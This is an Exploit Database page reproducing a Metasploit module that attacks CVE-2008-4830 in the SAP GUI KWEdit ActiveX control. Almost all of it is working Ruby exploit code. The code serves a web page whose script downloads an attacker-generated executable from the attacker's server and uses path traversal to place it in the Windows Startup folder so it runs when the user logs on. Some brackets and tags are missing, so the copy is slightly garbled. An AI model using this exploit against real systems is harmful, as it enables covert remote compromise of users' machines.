EnjoySAP SAP GUI – ActiveX Control Arbitrary File Download (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2010-12-01
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16493/

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# $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking,

:vuln_test=> nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download',

'Description'=> %q{

This module allows remote attackers to place arbitrary files on a users file system

by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 11189 $',

'References' =>

[

[ 'CVE', '2008-4830'],

[ 'OSVDB', '53680'],

[ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ],

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', { } ],

'DefaultTarget'=> 0,

'DisclosureDate' => '??? ?? ????'))

register_options(

[

OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),

], self.class)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

payload_url ="http://"

payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

if (request.uri.match(/payload/))

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_exe({ :code => p.encoded })

print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

vname= rand_text_alpha(rand(100) + 1)

exe= rand_text_alpha(rand(20) + 1)

content = %Q|

<html>

<head>

try {

var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');

#{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe");

} catch( e ) { window.location = 'about:blank' ; }

</script>

</head>

</html>

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end